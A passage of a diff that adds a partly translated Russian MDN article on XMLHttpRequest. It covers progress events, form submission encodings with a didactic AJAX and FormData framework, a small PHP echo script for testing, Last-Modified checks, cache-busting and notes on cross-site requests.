+<p>Обработчик события <code>progress</code>, представленный функцией <code>updateProgress()</code> в этом примере, получает количество байт, которое должно быть передано, и количество уже переданных байт в полях <code>total</code> и <code>loaded.</code> Но если поле <code>lengthComputable</code> равняется <code>false</code>, значит, длина сообщения неизвестна и будет отображаться как ноль.</p>
+
+<p>События <code>progress</code> есть и у входящих, и у исходящих передач. События входящих передач создаются для объекта <code>XMLHttpRequest</code>, как показано в примере выше; исходящих —для <code>XMLHttpRequest.upload:</code></p>
+
+<pre class="brush:js notranslate">var oReq = new XMLHttpRequest();
+
+oReq.upload.addEventListener("progress", updateProgress, false);
+oReq.upload.addEventListener("load", transferComplete, false);
+oReq.upload.addEventListener("error", transferFailed, false);
+oReq.upload.addEventListener("abort", transferCanceled, false);
+
+oReq.open();
+</pre>
+
+<div class="note"><strong>Примечание:</strong> события progress недоступны для протокола <code>file: .</code></div>
+
+<div class="note"><strong>Примечание</strong>: На данный момент в событиях progress есть открытые ошибки, которые влияют на Firefox 25 для <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=908375">OS X</a> и <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=786953">Linux</a>.</div>
+
+<div class="note">
+<p><strong>Примечание:</strong> Начиная с {{Gecko("9.0")}}, можно быть уверенным, что события progress будут приходить для каждого пакета данных, включая последний пакет в случаях, когда он получен, и соединение закрыто прежде, чем будет создано событие progress. В этом случае, событие progress автоматическисоздастся, когда будет получено событие load для этого пакета. Это позволяет следить за процессом загрузки с помощью только событий progress.</p>
+</div>
+
+<div class="note">
+<p><strong>Примечание:</strong> В {{Gecko("12.0")}}, если событие progress вызвано с  <code>responseType</code> "moz-blob", значение ответа будет {{domxref("Blob")}}, содержащим все данные, полученные на текущий момент.</p>
+</div>
+
+<p>Также возможно засечь все три события, завершающие загрузку (<code>abort</code>, <code>load</code>, or <code>error</code>) через событие <code>loadend</code>:</p>
+
+<pre class="brush:js notranslate">req.addEventListener("loadend", loadEnd, false);
+
+function loadEnd(e) {
+  alert("Передача данных завершена (но мы не знаем, успешно ли).");
+}
+</pre>
+
+<p>Заметьте, что событие loadend никак не сообщает, что вызвало конец передачи. Впрочем, это никак не мешает использовать его, если нужно сделать что-то вне зависимости от причины.</p>
+
+<h2 id="Отправка_форм_и_загрузка_файлов">Отправка форм и загрузка файлов</h2>
+
+<p>Есть два способа передать данные форм с помощью экземпляра <code>XMLHttpRequest</code>:</p>
+
+<ul>
+ <li>используя только AJAX</li>
+ <li>используя API <a href="/en-US/docs/DOM/XMLHttpRequest/FormData" title="DOM/XMLHttpRequest/FormData"><code>FormData</code></a></li>
+</ul>
+
+<p><strong>Второй путь</strong> — самый простой и быстрый, но данные, полученные с его помощью, нельзя превратить в строки с помощью <a href="/ru/docs/JavaScript/Reference/Global_Objects/JSON/stringify">JSON.stringify</a>. <strong>Первый путь</strong>, наоборот, самый сложный, но зато самый гибкий и мощный.</p>
+
+<h3 id="Используя_только_XMLHttpRequest">Используя только <code>XMLHttpRequest</code></h3>
+
+<p>Отправка форм без <a href="/en-US/docs/DOM/XMLHttpRequest/FormData" title="DOM/XMLHttpRequest/FormData"><code>FormData</code></a> не требует других API, кроме <code><a href="/en-US/docs/DOM/FileReader" title="/en-US/docs/DOM/FileReader">FileReader</a> </code>для загрузки файлов.</p>
+
+<h4 id="Краткое_введение_в_методы_отправки">Краткое введение в методы отправки</h4>
+
+<p>Есть четыре способа послать HTML {{ HTMLElement("form") }}:</p>
+
+<ul>
+ <li>использовать метод <code>POST</code> и установить атрибут <code>enctype</code> =  <code>application/x-www-form-urlencoded</code> (он установлен по умолчанию);</li>
+ <li>использовать метод <code>POST</code> и установить атрибут <code>enctype</code> = <code>text/plain</code>;</li>
+ <li>использовать метод <code>POST</code> и установить атрибут <code>enctype</code> = <code>multipart/form-data</code>;</li>
+ <li>использовать метод <code>GET </code>(в этом случае атрибут <code>enctype</code> будет проигнорирован).</li>
+</ul>
+
+<p>Рассмотрим отправку формы с двумя полями, <code>foo</code> и <code>baz</code>. Если использовать метод <code>POST</code>, сервер получит строку, похожую на одну из показанных ниже, в зависимости от типа кодирования, который вы используете:</p>
+
+<ul>
+ <li>
+  <p>Метод: <code>POST</code>; тип кодирования: <code>application/x-www-form-urlencoded</code> (по умолчанию):</p>
+
+  <pre class="notranslate">Content-Type: application/x-www-form-urlencoded
+
+foo=bar&amp;baz=The+first+line.&amp;#37;0D%0AThe+second+line.%0D%0A</pre>
+ </li>
+ <li>
+  <p>Метод: <code>POST</code>; тип кодирования: <code>text/plain</code>:</p>
+
+  <pre class="notranslate">Content-Type: text/plain
+
+foo=bar
+baz=The first line.
+The second line.</pre>
+ </li>
+ <li>
+  <p>Метод: <code>POST</code>; тип кодирования: <code>multipart/form-data</code>:</p>
+
+  <pre style="height: 100px; overflow: auto;">Content-Type: multipart/form-data; boundary=---------------------------314911788813839
+
+-----------------------------314911788813839
+Content-Disposition: form-data; name="foo"
+
+bar
+-----------------------------314911788813839
+Content-Disposition: form-data; name="baz"
+
+The first line.
+The second line.
+
+-----------------------------314911788813839--</pre>
+ </li>
+</ul>
+
+<p>Instead, if you are using the <code>GET</code> method, a string like the following will be simply added to the URL:</p>
+
+<pre class="notranslate">?foo=bar&amp;baz=The%20first%20line.%0AThe%20second%20line.</pre>
+
+<h4 id="Небольшой_классический_фреймворк">Небольшой классический фреймворк</h4>
+
+<p>Все данные эффекты достигаются с помощью веб браузера, когда вы отправляете {{ HTMLElement("form") }}. Но если вам требуется выполнить все операции с помощью лишь JavaScript, то вам придется проинструктировать интерпретатор обо <em>всех</em> выполняемых операциях. Для, того чтобы отправлять формы с помощью <em>чистого</em> AJAX, потребуется слишком комплексное описание, чтобы тут рассуждать о нем во всех подробностях. В связи с этим, мы опубликовали здесь <strong>полный(но все еще дидактический) фреймворк, </strong>который все же способен использовать все четыре способа отправки и, так же поддерживает <strong>файловую загрузку.</strong></p>
+
+<div style="height: 400px; margin-bottom: 12px; overflow: auto;">
+<pre class="brush: html notranslate">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /&gt;
+&lt;title&gt;Sending forms with pure AJAX &amp;ndash; MDN&lt;/title&gt;
+&lt;script type="text/javascript"&gt;
+
+"use strict";
+
+/*\
+|*|
+|*|  :: XMLHttpRequest.prototype.sendAsBinary() Polyfill ::
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/DOM/XMLHttpRequest#sendAsBinary()
+\*/
+
+if (!XMLHttpRequest.prototype.sendAsBinary) {
+  XMLHttpRequest.prototype.sendAsBinary = function(sData) {
+    var nBytes = sData.length, ui8Data = new Uint8Array(nBytes);
+    for (var nIdx = 0; nIdx &lt; nBytes; nIdx++) {
+      ui8Data[nIdx] = sData.charCodeAt(nIdx) &amp; 0xff;
+    }
+    /* send as ArrayBufferView...: */
+    this.send(ui8Data);
+    /* ...or as ArrayBuffer (legacy)...: this.send(ui8Data.buffer); */
+  };
+}
+
+/*\
+|*|
+|*|  :: AJAX Form Submit Framework ::
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest
+|*|
+|*|  This framework is released under the GNU Public License, version 3 or later.
+|*|  http://www.gnu.org/licenses/gpl-3.0-standalone.html
+|*|
+|*|  Syntax:
+|*|
+|*|   AJAXSubmit(HTMLFormElement);
+\*/
+
+var AJAXSubmit = (function () {
+
+  function ajaxSuccess () {
+    /* console.log("AJAXSubmit - Success!"); */
+    alert(this.responseText);
+    /* you can get the serialized data through the "submittedData" custom property: */
+    /* alert(JSON.stringify(this.submittedData)); */
+  }
+
+  function submitData (oData) {
+    /* the AJAX request... */
+    var oAjaxReq = new XMLHttpRequest();
+    oAjaxReq.submittedData = oData;
+    oAjaxReq.onload = ajaxSuccess;
+    if (oData.technique === 0) {
+      /* method is GET */
+      oAjaxReq.open("get", oData.receiver.replace(/(?:\?.*)?$/, oData.segments.length &gt; 0 ? "?" + oData.segments.join("&amp;") : ""), true);
+      oAjaxReq.send(null);
+    } else {
+      /* method is POST */
+      oAjaxReq.open("post", oData.receiver, true);
+      if (oData.technique === 3) {
+        /* enctype is multipart/form-data */
+        var sBoundary = "---------------------------" + Date.now().toString(16);
+        oAjaxReq.setRequestHeader("Content-Type", "multipart\/form-data; boundary=" + sBoundary);
+        oAjaxReq.sendAsBinary("--" + sBoundary + "\r\n" + oData.segments.join("--" + sBoundary + "\r\n") + "--" + sBoundary + "--\r\n");
+      } else {
+        /* enctype is application/x-www-form-urlencoded or text/plain */
+        oAjaxReq.setRequestHeader("Content-Type", oData.contentType);
+        oAjaxReq.send(oData.segments.join(oData.technique === 2 ? "\r\n" : "&amp;"));
+      }
+    }
+  }
+
+  function processStatus (oData) {
+    if (oData.status &gt; 0) { return; }
+    /* the form is now totally serialized! do something before sending it to the server... */
+    /* doSomething(oData); */
+    /* console.log("AJAXSubmit - The form is now serialized. Submitting..."); */
+    submitData (oData);
+  }
+
+  function pushSegment (oFREvt) {
+    this.owner.segments[this.segmentIdx] += oFREvt.target.result + "\r\n";
+    this.owner.status--;
+    processStatus(this.owner);
+  }
+
+  function plainEscape (sText) {
+    /* how should I treat a text/plain form encoding? what characters are not allowed? this is what I suppose...: */
+    /* "4\3\7 - Einstein said E=mc2" ----&gt; "4\\3\\7\ -\ Einstein\ said\ E\=mc2" */
+    return sText.replace(/[\s\=\\]/g, "\\$&amp;");
+  }
+
+  function SubmitRequest (oTarget) {
+    var nFile, sFieldType, oField, oSegmReq, oFile, bIsPost = oTarget.method.toLowerCase() === "post";
+    /* console.log("AJAXSubmit - Serializing form..."); */
+    this.contentType = bIsPost &amp;&amp; oTarget.enctype ? oTarget.enctype : "application\/x-www-form-urlencoded";
+    this.technique = bIsPost ? this.contentType === "multipart\/form-data" ? 3 : this.contentType === "text\/plain" ? 2 : 1 : 0;
+    this.receiver = oTarget.action;
+    this.status = 0;
+    this.segments = [];
+    var fFilter = this.technique === 2 ? plainEscape : escape;
+    for (var nItem = 0; nItem &lt; oTarget.elements.length; nItem++) {
+      oField = oTarget.elements[nItem];
+      if (!oField.hasAttribute("name")) { continue; }
+      sFieldType = oField.nodeName.toUpperCase() === "INPUT" ? oField.getAttribute("type").toUpperCase() : "TEXT";
+      if (sFieldType === "FILE" &amp;&amp; oField.files.length &gt; 0) {
+        if (this.technique === 3) {
+          /* enctype is multipart/form-data */
+          for (nFile = 0; nFile &lt; oField.files.length; nFile++) {
+            oFile = oField.files[nFile];
+            oSegmReq = new FileReader();
+            /* (custom properties:) */
+            oSegmReq.segmentIdx = this.segments.length;
+            oSegmReq.owner = this;
+            /* (end of custom properties) */
+            oSegmReq.onload = pushSegment;
+            this.segments.push("Content-Disposition: form-data; name=\"" + oField.name + "\"; filename=\""+ oFile.name + "\"\r\nContent-Type: " + oFile.type + "\r\n\r\n");
+            this.status++;
+            oSegmReq.readAsBinaryString(oFile);
+          }
+        } else {
+          /* enctype is application/x-www-form-urlencoded or text/plain or method is GET: files will not be sent! */
+          for (nFile = 0; nFile &lt; oField.files.length; this.segments.push(fFilter(oField.name) + "=" + fFilter(oField.files[nFile++].name)));
+        }
+      } else if ((sFieldType !== "RADIO" &amp;&amp; sFieldType !== "CHECKBOX") || oField.checked) {
+        /* field type is not FILE or is FILE but is empty */
+        this.segments.push(
+          this.technique === 3 ? /* enctype is multipart/form-data */
+            "Content-Disposition: form-data; name=\"" + oField.name + "\"\r\n\r\n" + oField.value + "\r\n"
+          : /* enctype is application/x-www-form-urlencoded or text/plain or method is GET */
+            fFilter(oField.name) + "=" + fFilter(oField.value)
+        );
+      }
+    }
+    processStatus(this);
+  }
+
+  return function (oFormElement) {
+    if (!oFormElement.action) { return; }
+    new SubmitRequest(oFormElement);
+  };
+
+})();
+
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+
+&lt;h1&gt;Sending forms with pure AJAX&lt;/h1&gt;
+
+&lt;h2&gt;Using the GET method&lt;/h2&gt;
+
+&lt;form action="register.php" method="get" onsubmit="AJAXSubmit(this); return false;"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Registration example&lt;/legend&gt;
+    &lt;p&gt;
+      First name: &lt;input type="text" name="firstname" /&gt;&lt;br /&gt;
+      Last name: &lt;input type="text" name="lastname" /&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="submit" value="Submit" /&gt;
+    &lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+
+&lt;h2&gt;Using the POST method&lt;/h2&gt;
+&lt;h3&gt;Enctype: application/x-www-form-urlencoded (default)&lt;/h3&gt;
+
+&lt;form action="register.php" method="post" onsubmit="AJAXSubmit(this); return false;"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Registration example&lt;/legend&gt;
+    &lt;p&gt;
+      First name: &lt;input type="text" name="firstname" /&gt;&lt;br /&gt;
+      Last name: &lt;input type="text" name="lastname" /&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="submit" value="Submit" /&gt;
+    &lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+
+&lt;h3&gt;Enctype: text/plain&lt;/h3&gt;
+
+&lt;form action="register.php" method="post" enctype="text/plain" onsubmit="AJAXSubmit(this); return false;"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Registration example&lt;/legend&gt;
+    &lt;p&gt;
+      Your name: &lt;input type="text" name="user" /&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      Your message:&lt;br /&gt;
+      &lt;textarea name="message" cols="40" rows="8"&gt;&lt;/textarea&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="submit" value="Submit" /&gt;
+    &lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+
+&lt;h3&gt;Enctype: multipart/form-data&lt;/h3&gt;
+
+&lt;form action="register.php" method="post" enctype="multipart/form-data" onsubmit="AJAXSubmit(this); return false;"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Upload example&lt;/legend&gt;
+    &lt;p&gt;
+      First name: &lt;input type="text" name="firstname" /&gt;&lt;br /&gt;
+      Last name: &lt;input type="text" name="lastname" /&gt;&lt;br /&gt;
+      Sex:
+      &lt;input id="sex_male" type="radio" name="sex" value="male" /&gt; &lt;label for="sex_male"&gt;Male&lt;/label&gt;
+      &lt;input id="sex_female" type="radio" name="sex" value="female" /&gt; &lt;label for="sex_female"&gt;Female&lt;/label&gt;&lt;br /&gt;
+      Password: &lt;input type="password" name="secret" /&gt;&lt;br /&gt;
+      What do you prefer:
+      &lt;select name="image_type"&gt;
+        &lt;option&gt;Books&lt;/option&gt;
+        &lt;option&gt;Cinema&lt;/option&gt;
+        &lt;option&gt;TV&lt;/option&gt;
+      &lt;/select&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      Post your photos:
+      &lt;input type="file" multiple name="photos[]"&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input id="vehicle_bike" type="checkbox" name="vehicle[]" value="Bike" /&gt; &lt;label for="vehicle_bike"&gt;I have a bike&lt;/label&gt;&lt;br /&gt;
+      &lt;input id="vehicle_car" type="checkbox" name="vehicle[]" value="Car" /&gt; &lt;label for="vehicle_car"&gt;I have a car&lt;/label&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      Describe yourself:&lt;br /&gt;
+      &lt;textarea name="description" cols="50" rows="8"&gt;&lt;/textarea&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="submit" value="Submit" /&gt;
+    &lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+</div>
+
+<p>Для того, чтобы произвести его тест, создайте страницу с названием <strong>register.php</strong> (и укажите атрибут <code>action</code> одной из данных форм) и добавьте данный <em>минимальный</em> контент</p>
+
+<pre class="brush: php notranslate">&lt;?php
+/* register.php */
+
+header("Content-type: text/plain");
+
+/*
+NOTE: You should never use `print_r()` in production scripts, or
+otherwise output client-submitted data without sanitizing it first.
+Failing to sanitize can lead to cross-site scripting vulnerabilities.
+*/
+
+echo ":: data received via GET ::\n\n";
+print_r($_GET);
+
+echo "\n\n:: Data received via POST ::\n\n";
+print_r($_POST);
+
+echo "\n\n:: Data received as \"raw\" (text/plain encoding) ::\n\n";
+if (isset($HTTP_RAW_POST_DATA)) { echo $HTTP_RAW_POST_DATA; }
+
+echo "\n\n:: Files received ::\n\n";
+print_r($_FILES);
+
+</pre>
+
+<p>Синтаксис данного скрипта представлен ниже:</p>
+
+<pre class="syntaxbox notranslate">AJAXSubmit(myForm);</pre>
+
+<div class="note"><strong>Заметка:</strong> Данный фреимворк использует <a href="/en-US/docs/DOM/FileReader" title="/en-US/docs/DOM/FileReader"><code>FileReader</code></a> API для передачи загрузочных файлов. Это новыйAPI и его невозможно использовать IE9 и ниже. В связи с этим, загрузки только с использованием AJAX воспринимаются, лишь как <strong>экспериментальные</strong>. Если вам не требуется загружать бинарные файлы, то данный фреимворк работает в большинстве современных браузерах.</div>
+
+<div class="note"><strong>Note:</strong> The best way to send binary content is via <a href="/en-US/docs/JavaScript/Typed_arrays/ArrayBuffer" title="/en-US/docs/JavaScript/Typed_arrays/ArrayBuffer">ArrayBuffers</a> or <a href="/en-US/docs/DOM/Blob" title="/en-US/docs/DOM/Blob">Blobs</a> in conjuncton with the <a href="/en-US/docs/DOM/XMLHttpRequest#send%28%29" title="/en-US/docs/DOM/XMLHttpRequest#send()"><code>send()</code></a> method and possibly the <a href="/en-US/docs/DOM/FileReader#readAsArrayBuffer()" title="/en-US/docs/DOM/FileReader#readAsArrayBuffer()"><code>readAsArrayBuffer()</code></a> method of the <a href="/en-US/docs/DOM/FileReader" title="/en-US/docs/DOM/FileReader"><code>FileReader</code></a> API. But, since the aim of this script is to work with a <a href="/en-US/docs/JavaScript/Reference/Global_Objects/JSON/stringify" title="/en-US/docs/JavaScript/Reference/Global_Objects/JSON/stringify">stringifiable</a> raw data, we used the <a href="/en-US/docs/DOM/XMLHttpRequest#sendAsBinary%28%29" title="/en-US/docs/DOM/XMLHttpRequest#sendAsBinary()"><code>sendAsBinary()</code></a> method in conjunction with the <a href="/en-US/docs/DOM/FileReader#readAsBinaryString%28%29" title="/en-US/docs/DOM/FileReader#readAsBinaryString()"><code>readAsBinaryString()</code></a> method of the <a href="/en-US/docs/DOM/FileReader" title="/en-US/docs/DOM/FileReader"><code>FileReader</code></a> API. As such, the above script makes sense only when you are dealing with small files. If you do not intend to upload binary content, consider instead using the <a href="/en-US/docs/DOM/XMLHttpRequest/FormData" title="DOM/XMLHttpRequest/FormData"><code>FormData</code></a> API.</div>
+
+<div class="note"><strong>Note:</strong> The non-standard <code>sendAsBinary </code>method is considered deprecated as of Gecko 31 {{ geckoRelease(31) }} and will be removed soon. The standard <code>send(Blob data)</code> method can be used instead.</div>
+
+<h3 id="Используя_объекты_FormData">Используя объекты FormData</h3>
+
+<p>The <a href="/en-US/docs/DOM/XMLHttpRequest/FormData" title="DOM/XMLHttpRequest/FormData"><code>FormData</code></a> constructor lets you compile a set of key/value pairs to send using <code>XMLHttpRequest</code>. Its primarily intended for use in sending form data, but can be used independently from forms in order to transmit keyed data. The transmitted data is in the same format that the form's <code>submit()</code> method would use to send the data if the form's encoding type were set to "multipart/form-data". FormData objects can be utilized in a number of ways with an XMLHttpRequest. For examples and explanations of how one can utilize FormData with XMLHttpRequests see the <a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="Using FormData Objects">Using FormData Objects</a> page. For didactic purpose only we post here <strong>a <em>translation</em> of <a href="#A_little_vanilla_framework" title="#A_little_vanilla_framework">the previous example</a> transformed so as to make use of the <code>FormData</code> API</strong>. Note the brevity of the code:</p>
+
+<div style="height: 400px; margin-bottom: 12px; overflow: auto;">
+<pre class="brush: html notranslate">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /&gt;
+&lt;title&gt;Sending forms with FormData &amp;ndash; MDN&lt;/title&gt;
+&lt;script type="text/javascript"&gt;
+"use strict";
+
+function ajaxSuccess () {
+  alert(this.responseText);
+}
+
+function AJAXSubmit (oFormElement) {
+  if (!oFormElement.action) { return; }
+  var oReq = new XMLHttpRequest();
+  oReq.onload = ajaxSuccess;
+  if (oFormElement.method.toLowerCase() === "post") {
+    oReq.open("post", oFormElement.action, true);
+    oReq.send(new FormData(oFormElement));
+  } else {
+    var oField, sFieldType, nFile, sSearch = "";
+    for (var nItem = 0; nItem &lt; oFormElement.elements.length; nItem++) {
+      oField = oFormElement.elements[nItem];
+      if (!oField.hasAttribute("name")) { continue; }
+      sFieldType = oField.nodeName.toUpperCase() === "INPUT" ? oField.getAttribute("type").toUpperCase() : "TEXT";
+      if (sFieldType === "FILE") {
+        for (nFile = 0; nFile &lt; oField.files.length; sSearch += "&amp;" + escape(oField.name) + "=" + escape(oField.files[nFile++].name));
+      } else if ((sFieldType !== "RADIO" &amp;&amp; sFieldType !== "CHECKBOX") || oField.checked) {
+        sSearch += "&amp;" + escape(oField.name) + "=" + escape(oField.value);
+      }
+    }
+    oReq.open("get", oFormElement.action.replace(/(?:\?.*)?$/, sSearch.replace(/^&amp;/, "?")), true);
+    oReq.send(null);
+  }
+}
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+
+&lt;h1&gt;Sending forms with FormData&lt;/h1&gt;
+
+&lt;h2&gt;Using the GET method&lt;/h2&gt;
+
+&lt;form action="register.php" method="get" onsubmit="AJAXSubmit(this); return false;"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Registration example&lt;/legend&gt;
+    &lt;p&gt;
+      First name: &lt;input type="text" name="firstname" /&gt;&lt;br /&gt;
+      Last name: &lt;input type="text" name="lastname" /&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="submit" value="Submit" /&gt;
+    &lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+
+&lt;h2&gt;Using the POST method&lt;/h2&gt;
+&lt;h3&gt;Enctype: application/x-www-form-urlencoded (default)&lt;/h3&gt;
+
+&lt;form action="register.php" method="post" onsubmit="AJAXSubmit(this); return false;"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Registration example&lt;/legend&gt;
+    &lt;p&gt;
+      First name: &lt;input type="text" name="firstname" /&gt;&lt;br /&gt;
+      Last name: &lt;input type="text" name="lastname" /&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="submit" value="Submit" /&gt;
+    &lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+
+&lt;h3&gt;Enctype: text/plain&lt;/h3&gt;
+
+&lt;p&gt;The text/plain encoding is not supported by the FormData API.&lt;/p&gt;
+
+&lt;h3&gt;Enctype: multipart/form-data&lt;/h3&gt;
+
+&lt;form action="register.php" method="post" enctype="multipart/form-data" onsubmit="AJAXSubmit(this); return false;"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Upload example&lt;/legend&gt;
+    &lt;p&gt;
+      First name: &lt;input type="text" name="firstname" /&gt;&lt;br /&gt;
+      Last name: &lt;input type="text" name="lastname" /&gt;&lt;br /&gt;
+      Sex:
+      &lt;input id="sex_male" type="radio" name="sex" value="male" /&gt; &lt;label for="sex_male"&gt;Male&lt;/label&gt;
+      &lt;input id="sex_female" type="radio" name="sex" value="female" /&gt; &lt;label for="sex_female"&gt;Female&lt;/label&gt;&lt;br /&gt;
+      Password: &lt;input type="password" name="secret" /&gt;&lt;br /&gt;
+      What do you prefer:
+      &lt;select name="image_type"&gt;
+        &lt;option&gt;Books&lt;/option&gt;
+        &lt;option&gt;Cinema&lt;/option&gt;
+        &lt;option&gt;TV&lt;/option&gt;
+      &lt;/select&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      Post your photos:
+      &lt;input type="file" multiple name="photos[]"&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input id="vehicle_bike" type="checkbox" name="vehicle[]" value="Bike" /&gt; &lt;label for="vehicle_bike"&gt;I have a bike&lt;/label&gt;&lt;br /&gt;
+      &lt;input id="vehicle_car" type="checkbox" name="vehicle[]" value="Car" /&gt; &lt;label for="vehicle_car"&gt;I have a car&lt;/label&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      Describe yourself:&lt;br /&gt;
+      &lt;textarea name="description" cols="50" rows="8"&gt;&lt;/textarea&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="submit" value="Submit" /&gt;
+    &lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+</div>
+
+<div class="note"><strong>Note:</strong> As we said,<strong> {{domxref("FormData")}} objects are not <a href="/en-US/docs/JavaScript/Reference/Global_Objects/JSON/stringify" title="/en-US/docs/JavaScript/Reference/Global_Objects/JSON/stringify">stringifiable</a> objects</strong>. If you want to stringify a submitted data, use <a href="#A_little_vanilla_framework" title="#A_little_vanilla_framework">the previous <em>pure</em>-AJAX example</a>. Note also that, although in this example there are some <code>file</code> {{ HTMLElement("input") }} fields, <strong>when you submit a form through the <code>FormData</code> API you do not need to use the <a href="/en-US/docs/DOM/FileReader" title="/en-US/docs/DOM/FileReader"><code>FileReader</code></a> API also</strong>: files are automatically loaded and uploaded.</div>
+
+<h2 id="Получить_дату_последнего_изменения">Получить дату последнего изменения</h2>
+
+<pre class="brush: js notranslate">function getHeaderTime () {
+  alert(this.getResponseHeader("Last-Modified"));  /* A valid GMTString date or null */
+}
+
+var oReq = new XMLHttpRequest();
+oReq.open("HEAD" /* use HEAD if you only need the headers! */, "yourpage.html", true);
+oReq.onload = getHeaderTime;
+oReq.send();</pre>
+
+<h3 id="Do_something_when_last_modified_date_changes">Do something when last modified date changes</h3>
+
+<p>Let's create these two functions:</p>
+
+<pre class="brush: js notranslate">function getHeaderTime () {
+
+  var
+    nLastVisit = parseFloat(window.localStorage.getItem('lm_' + this.filepath)),
+    nLastModif = Date.parse(this.getResponseHeader("Last-Modified"));
+
+  if (isNaN(nLastVisit) || nLastModif &gt; nLastVisit) {
+    window.localStorage.setItem('lm_' + this.filepath, Date.now());
+    isFinite(nLastVisit) &amp;&amp; this.callback(nLastModif, nLastVisit);
+  }
+
+}
+
+function ifHasChanged(sURL, fCallback) {
+  var oReq = new XMLHttpRequest();
+  oReq.open("HEAD" /* use HEAD - we only need the headers! */, sURL, true);
+  oReq.callback = fCallback;
+  oReq.filepath = sURL;
+  oReq.onload = getHeaderTime;
+  oReq.send();
+}</pre>
+
+<p>Test:</p>
+
+<pre class="brush: js notranslate">/* Let's test the file "yourpage.html"... */
+
+ifHasChanged("yourpage.html", function (nModif, nVisit) {
+  alert("The page '" + this.filepath + "' has been changed on " + (new Date(nModif)).toLocaleString() + "!");
+});</pre>
+
+<p>If you want to know <strong>whether <em>the current page</em> has changed</strong>, please read the article about <a href="/en-US/docs/Web/API/document.lastModified" title="/en-US/docs/Web/API/document.lastModified"><code>document.lastModified</code></a>.</p>
+
+<h2 id="Межсайтовые_XMLHttpRequest">Межсайтовые XMLHttpRequest</h2>
+
+<p>Современные браузеры поддерживают межсайтовые запросы по стандарту <a href="/en-US/docs/HTTP_access_control" title="HTTP access control">Access Control for Cross-Site Requests</a>. Для этого, серверу необходимо дополнительно указывать заголовок <code>origin</code>. В противном случае, выбрасывается исключение <code>INVALID_ACCESS_ERR</code>.</p>
+
+<h2 id="Обход_кеширования">Обход кеширования</h2>
+
+<p>Для кросс-браузерного обхода кеширования в конец URL-запроса достаточно добавить случайную строку в GET-параметры, то есть сразу после «?», например:</p>
+
+<pre class="notranslate">http://foo.com/bar.html -&gt; http://foo.com/bar.html?12345
+http://foo.com/bar.html?foobar=baz -&gt; http://foo.com/bar.html?foobar=baz&amp;12345
+</pre>
+
+<p>Таким образом, каждый новый запрос будет происходить по новому URL и кеширование страницы не будет производиться.</p>
+
+<p>Автоматизировать этот подход можно следующим сниппетом:</p>
+
+<pre class="brush:js notranslate">var oReq = new XMLHttpRequest();
+
+oReq.open("GET", url + ((/\?/).test(url) ? "&amp;" : "?") + (new Date()).getTime(), true);
+oReq.send(null);</pre>
+
+<h2 id="Безопасность">Безопасность</h2>
+
+<p>{{fx_minversion_note(3, "Versions of Firefox prior to Firefox 3 allowed you to set the preference <code>capability.policy.&lt;policyname&gt;.XMLHttpRequest.open&lt;/policyname&gt;</code> to <code>allAccess</code> to give specific sites cross-site access.  This is no longer supported.")}}</p>
+
+<p>{{fx_minversion_note(5, "Versions of Firefox prior to Firefox 5 could use <code>netscape.security.PrivilegeManager.enablePrivilege(\"UniversalBrowserRead\");</code> to request cross-site access. This is no longer supported, even though it produces no warning and permission dialog is still presented.")}}</p>
+
+<p>The recommended way to enable cross-site scripting is to use the <code>Access-Control-Allow-Origin </code> HTTP header in the response to the XMLHttpRequest.</p>
+
+<h3 id="XMLHttpRequests_being_stopped">XMLHttpRequests being stopped</h3>
+
